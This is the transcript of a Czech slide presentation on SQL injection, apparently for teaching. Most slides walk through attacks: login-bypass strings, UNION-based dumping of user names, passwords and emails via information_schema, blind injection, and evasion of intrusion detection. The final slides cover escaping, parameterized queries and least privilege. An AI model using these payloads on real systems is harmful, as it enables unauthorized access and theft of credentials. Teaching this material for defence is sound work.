Michalčík, Valnoha. Základní informace  SQL - strukturovaný dotazovací jazyk využívaný v relačních databázích pro práci s daty  Injection – vsunutí.

Slides:



Advertisements
Podobné prezentace
JIP / KAAS / ZR aneb „Co budeme dělat
Advertisements

Webové rozhraní pro přístup k databázi JIS Václav Lederbuch
Makra v Excelu.
HYPERTEXT PREPROCESSOR. JAZYK PHP. Jazyk PHP (Hypertext PreProcessor) je intepretovaný jazyk určený pro web. Je celkem jednoduchý, snadno přenositelný.
Aplikační a programové vybavení
 Informací se data a vztahy mezi nimi stávají vhodnou interpretací pro uživatele, která odhaluje uspořádání, vztahy, tendence a trendy  Existuje celá.
DB1 – 9. cvičení Optimalizace dotazu Konkurenční přístup a deadlock Indexace Transakce.
Databázové systémy II SQL Injection
Fakulta elektrotechniky a informatiky
Dajbych Václav Pole Další stránku vyvoláte levým kliknutím na Vaší myš, nebo popřípadě rolovacím kolečkem.
Další dotazy SQL Structured Query Language. Některé SQL příkazy mohou mít v sobě obsaženy další kompletní příkazy SELECT. Využijeme je tam, kde potřebujeme.
Informatika pro ekonomy II přednáška 11
PHP – vkládání souborů a html 5
PROGRAMOVACÍ JAZYKY (c) Tralvex Yeap. All Rights Reserved.
Temporální databáze a TSQL
SQL Lukáš Masopust Historie  Předchůdcem databází byly papírové kartotéky  děrný štítek  1959 konference  1960 – vytvořen jazyk COBOL.
Radek Špinka Přepínače MSSQL výběr.
PHP a MySQL Připojení k databázi:
Databáze Jiří Kalousek.
MySQL - Vytvoření nové tabulky  create table jméno_tabulky (jméno_položky typ_položky,... ) Přehled nejběžnějších datových typů Přehled nejběžnějších.
Caché Security. Jak vypadá zabezpečení dnes Jak bude vypadat a co by Caché měla umět v budoucnu Včera, dnes a zítra.
Gymnázium, SOŠ a VOŠ Ledeč nad Sázavou I NFORMAČNÍ A KOMUNIKAČNÍ TECHNOLOGIE Ing. Jan Roubíček.
Databázové systémy II Přednáška č. 8 – Pohledy (Views)
Tomáš Dlouhý – prezentace Y13ANW - Redakční systém WNC Tomáš Dlouhý Y13ANW – První prezentace
Tabulkový procesor.
Školení správců II. Petr Pinkas RNDr. Vít Ochozka.
PHP – zasílání dat z formuláře
W w w. n e s s. c o m eLiška 3.04 Průvodce instalací (verze pro Windows 7)
PHP – Základy programování
Vkládání záznamů do databáze OBD
Vypracoval: Ondřej Dvorský Třída: VIII.A
ANOTACEPrezentace obsahuje informace o elektronické komunikaci, využití u. Druh učebního materiáluDUM Očekávané výstupy Žáci si vytvoří ovou.
KIV/ZIS cvičení 6 Tomáš Potužák. Pokračování SQL Klauzule GROUP BY a dotazy nad více tabulkami Stáhnout soubor studenti_dotazy_sql.mdb.
Databázové systémy Přednáška č. 6.
Maturitní okruh 22: Úvod do HTML. Značkovací a klasické jazyky Klasické: převládá strukturovaný text (programovací kód), skripty jsou prováděny na straně.
Návrh a tvorba WWW Cvičení 7 PHP & Oracle - Bezpečnost.
Návrh a tvorba WWW Cvičení 4
Číslo šablony: III/2 VY_32_INOVACE_P4_3.8 Tematická oblast: Aplikační software pro práci s informacemi II. Databáze – základy SQL Typ: DUM - kombinovaný.
Databáze Dotazy VY_32_INOVACE_7B16. Dotazy umožňuje vybrat určité záznamy z tabulky na rozdíl od filtru vybrané záznamy umístí do samostatné dočasné nebo.
Databázové systémy I Cvičení č. 8 Fakulta elektrotechniky a informatiky Univerzita Pardubice 2013.
Databázové systémy II Přednáška č. 9. Transakce je logická jednotka práce sestávající z jednoho nebo více SQL příkazů, které jsou atomické z hlediska.
PHP PHP a MySQL - 15 Mgr. Josef Nožička IKT PHP
PHP Vytváření formuláře.
Elektronický registr oznámení Zpracoval(a): Mgr. František Rudecký
2 Petr Žitný znalosti.vema.cz 3 Báze znalostí Nová služba zákazníkům ▸Báze naplněná informacemi, ke které mají uživatelé přímý přístup Základní cíl ▸Poskytovat.
Aplikační a programové vybavení
IBM Global Services Ing. Stanislav Bíža, Senior IT Architect, CISA © 2005 IBM Corporation Rizika napadení webových aplikací Konference ISSS 2005 Title.
Obchodní akademie, Ostrava-Poruba, příspěvková organizace Vzdělávací materiál/DUM VY_32_INOVACE_01B13 Autor Ing. Jiří Kalousek Období vytvoření březen.
MS Excel 2 Martin Kotlík Brno, 20. ledna 2015 Obsah předchozího semináře 1 1.Popis programu Excel 2.Základní dovednosti 3.Typy vkládaných dat 4.Formát.
Databázové systémy SQL Výběr dat.
Microsoft SQL server Centrum pro virtuální a moderní metody a formy vzdělávání na Obchodní akademii T.G. Masaryka, Kostelec nad Orlicí.
ACCESS DOTAZY Ing. Jana Horáková IKT MS Office
Databázové systémy I Cvičení č. 8 Fakulta elektrotechniky a informatiky Univerzita Pardubice 2015.
HYPERTEXT PREPROCESSOR. JAZYK PHP. VYUŽITÍ JAZYKA Programování dynamických internetových stránek a webových aplikací vytvoření šablony webu kniha návštěv.
Dynamická webová aplikace Autor:Ondřej Soukup Třída:I3.
Filtrování záznamů Filtr podle výběru Filtr podle formuláře Rozšířený filtr Symboly, výrazy Dotazy.
Hromadná korespondence 2 Word Předmět: Informační a komunikační technologie Autor: Milan Franek.
Import dat Access (16). Projekt: CZ.1.07/1.5.00/ OAJL - inovace výuky Příjemce: Obchodní akademie, odborná škola a praktická škola pro tělesně.
HYPERTEXT PREPROCESSOR. JAZYK PHP. VYUŽITÍ JAZYKA Programování dynamických internetových stránek a webových aplikací vytvoření šablony webu kniha návštěv.
Aplikácia registračného systému internátov Karlovej Univerzity Členové týmů: Tomáš Srnka Dávid Fišer Ján Mazanec Daniel Szantai Honza Třešňák.
NÁZEV ŠKOLY:SOŠ Net Office, spol. s r.o. Orlová Lutyně
Albertina a Report Mgr. Libuše Simandlová
Databázové systémy a SQL
Optimalizace SQL dotazů
Aplikace OctopusPro - správa uživatelů
Web Application Scanning
Přednáška 9 Triggery.
Databázové systémy a SQL
HASH.
Databázové systémy a SQL
Transkript prezentace:

Michalčík, Valnoha

Základní informace  SQL - strukturovaný dotazovací jazyk využívaný v relačních databázích pro práci s daty  Injection – vsunutí něčeho někam

SQL Injection  SQL Injection = souhrnné označení pro bezpečnostní chyby (díry), které umožní vsouvat do SQL kódu internetové aplikace vlastní informace, které umožní změnit smysl původních SQL dotazů.

SQL Injection - aplikace  Provádí se pomocí neošetřených vstupů webové aplikace Formuláře (POST/GET) Parametry URI HTTP/XML/SOAP komunikace (nezapomenout na Cookies) "Importy" souborů

Typy útoků  Inband – přímý útok Výsledky se zobrazují přímo na stránce v prohlížeči  Out-of-band – nepřímý útok Výsledky se zobrazují jinde (např. přijdou útočníkovi na )  Blind – útok naslepo Výsledky nejsou dostupné

Čeho tím lze dosáhnout?  Lze získat přístup k citlivým datům (například uživatelská hesla, skryté y atd.) přístup k jakémukoliv, například administrátorskému účtu na webu přístup ke všem účtům naráz  Také lze smazat všechna data v tabulkách – ne vždy možné Často mívají mutace SQL, nebo samotné programovací jazyky (např. PHP) svojí vnitřní ochranu

Příprava na útok  Průzkum terénu Pohrát si se vstupy ○ Vložení apostrofu – vyvolá sql error ○ True/false dotazy (1=1, 1=0)

Ukázka děravé aplikace

Případ první – hrajeme si na administrátora 1/4  Přihlašovací formuláře využívají databází k archivaci nejrůznějších informací (např. přihlašovacích údajů)  Klasický SQL dotaz pro přihlášení: SELECT * FROM users WHERE login='$nick' AND password='$passwd' ○ Co se stane, když do kolonky pro jméno vložíme apostrof?

Případ první – hrajeme si na administrátora 2/4  SELECT * FROM users WHERE login=''' AND password=''  Zobrazí se SQL chyba víme, že aplikace je napadnutelná  Využijeme síly komentářů:  SELECT * FROM users WHERE login=''--' AND password=''  Příkaz se vykoná bez chyby, ale stále nebudem přihlášeni – proč?

Případ první – hrajeme si na administrátora 3/4  Komentářem jsme odstranili potřebu hesla pro přihlášení  Nyní jsou dvě možnosti Uhodnout přihlašovací jméno ○ Vyžaduje velkou dávku štěstí nebo trpělivosti Použít logické operátory ○ Vždy splněná podmínka (např. 1=1)  SELECT * FROM users WHERE login='admin' OR 1=1--

Případ první – hrajeme si na administrátora 4/4  Přihlášení na účet, který je na prvním místě v tabulce users Většinou administrátorský, nebo testovací s admin právy  Možné bypassy or 1=1-- " or 1=1-- " or "a"="a ') or ('a'='a ' or 'a'='a Atd.

Případ druhý - SQL Injection s využitím UNIONu 1/5  Účel stažení zajímavých dat v databázi  Používá se v URL Např. article.php?id=15 SELECT * FROM articles WHERE id='$id'  Oťukáme bezpečnost vstupu article.php?id=15 AND 15=0 ○ Když vyskočí chyba, můžeme dál

Případ druhý - SQL Injection s využitím UNIONu 2/5  Zjistíme počet sloupců v tabulce Použití ORDER BY ○ article.php?id=15 ORDER BY 2 ○ article.php?id=15 ORDER BY 3 ○... ○ article.php?id=15 ORDER BY 7  ok ○ article.php?id=15 ORDER BY 8  ok ○ article.php?id=15 ORDER BY 9  chyba – sloupců je o jeden méně

Případ druhý - SQL Injection s využitím UNIONu 3/5  Použijeme UNION Spojení více dotazů do jednoho ○ article.php?id=15 UNION ALL SELECT 1,2,3,4,5,6,7,8 ○ Pokud vše ok, místo článku se zobrazí jedno z čísel z rozsahu 1-8 (třeba 4) ○ Toto číslo v posloupnosti použijeme jako prostředek pro zobrazení výsledku dotazu

Případ druhý - SQL Injection s využitím UNIONu 4/5  Užitečné SQL funkce database() - vrací název aktuálně používané databáze user() - vrací uživatele, který je vlastníkem databáze version() - vrací verzi databáze now() - vrací aktuální informace o čase

Případ druhý - SQL Injection s využitím UNIONu 5/5  Příklad použití article.php?id=15 UNION ALL SELECT 1,2,3,version(),5,6,7,8 Pro zobrazení více funkcí použít funkci concat() nebo concat_ws(). Pro oddělení použít char() ○ article.php?i d=15 UNION ALL SELECT 1,2,3,concat(version(),char(58,58),user(),char(58, 58),database(),char(58,58),now()),5,6,7,8 ○ article.php?id=15 UNION ALL SELECT 1,2,3,concat_ws(char(58,58),version(),user(), database(),now()),5,6,7,8

Databáze information_schema 1/5  V MySQL verzi 5 a vyšší je defaultně obsažena a povolena  Obsahuje řadu zajímavých tabulek tables columns user_privileges a další

Databáze information_schema 2/5  Jak se dostat k názvům tabulek v napadené databázi? article.php?id=15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() ○ Zajistí, že budeme pracovat pouze s „naší“ databází

Databáze information_schema 3/5  Použití klauzule LIMIT article.php?id=15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 ○ 1. tabulka v databázi article.php?id=15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,2 ○ 2. tabulka v databázi

Databáze information_schema 4/5  Využití funkce group_concat() seznam všech tabulek díky jedinému dotazu article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(table_name),5,6,7,8 FROM information_schema.tables WHERE table_schema=database()

Databáze information_schema 5/5  Ze seznamu tabulek vybereme ty, které jsou pro nás zajímavé Např. našli jsme tabulku users a chceme zjistit názvy sloupců ○ Obdobný postup ○ article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(column_name),5,6,7,8 FROM information_schema.columns WHERE table_name='users' ○ Z nich si můžeme vybrat jen ty, které chceme ○ article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(nick,char(58),passwd,char(58),mail,char(58),priv),5,6,7,8 FROM users

Problém s apostrofy  Problém detekce apostrofů může být způsoben buď nastavením serveru (magic_quotes_gpc) nebo přítomností IDS IDS = Intrusion Detection Systems ○ detekce apostrofů, mezer, konkrétních řetězců (UNION, SELECT)  Drtivá většina mutací SQL obsahuje funkci char(), která bere argumenty jako: decimální ASCII hodnoty znaků oddělených čárkami hexadecimální ASCII hodnoty znaků ○ 0x a samotné hodnoty, řazeny přímo (bez mezer) za sebe 'user' == char(117,115,101,114) == 0x Apostrofy tedy nejsou potřeba

Další problémy  Problém s mezerami Mezery lze nahradit znakem + nebo víceřádkovým komentářem /**/ ○ UNION+SELECT+ALL+1,2,3,4,5,6 UNION/**/SELECT/**/ALL/**/1,2,3,4,5,6  Problém detekce řetězců IDS skripty často berou v potaz řetězce jen malých, nebo jen velkých písmen, ty chytřejší obojí Ale už třeba ne kombinace velkých a malých písmen ○ uSeR, UsER, useR, USer, atd.

Blind SQL Injection 1/2  Administrátor je maličko chytřejší a vypne zobrazování sql errorů uživateli Pořád to ale neznamená, že aplikace není napadnutelná  Protože nemáme viditelný výstup, pokládáme databázovému serveru otázky typu true/false Buď se stránka zobrazí, nebo ne ressReleaseID=5 AND USER_NAME() = 'admin' Jmenuje se aktuální uživatel admin?

Blind SQL Injection 2/2  Tímto stylem lze pokládat složitejší dotazy, třeba tak můžeme zjistit název databázové tabulky Nejlépe písmeno po písmenu p?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109

Ošetření vstupů  Odstranění nebezpečných znaků Uvozovky Středníky  Kontrola datových typů "select * from clanky where id='$id'"

Escapování 1/2  Převod znaků se speciálním významem na odpovídající sekvenci  Nejčastěji jako escape sekvence konstrukce se znakem \

Escapování 2/2  PHP magic_quotes_gpc – DEPRECATED  MySQL mysqli_real_escape_string()  SQLite sqlite_escape_string()  PostgreSQL pg_escape_string()  "select * from clanky where id=".mysqli_real_escape_string($id);

PHP a MySQL  PHP nepovoluje vykonání více SQL dotazů oddělených středníkem '; truncate tabulka;  Nehrozí zobrazení zdrojových kódů

Parametrizované dotazy 1/2  Data předávána jako parametry  V dotazu použity zástupné symboly  Parametry nejsou parsovány jako SQL

Parametrizované dotazy 2/2  C# SqlParameter[ ] myparm = new SqlParameter[2]; myparm[0] = new myparm[1] = new "SELECT * FROM users WHERE AND  Java PreparedStatement stmt = ….. stmt = …"INSERT INTO person (name, ) values (?, ?)"); stmt.setString(1, name); stmt.setString(2, );

Omezení oprávnění  Webová aplikaci by měla mít co nejvíce omezená práva  Potom i „úspěšný“ SQL injection útok bude mít omezený úspěch

Další doporučené postupy  Uložené procedury Eliminace SQL  Vypnout hlášení chyb Zjednodušuje útočníkovy práci

Zdroje    QL-injection/ QL-injection/   security.org/dl/articles/Blind_SQLInjection.pdf security.org/dl/articles/Blind_SQLInjection.pdf 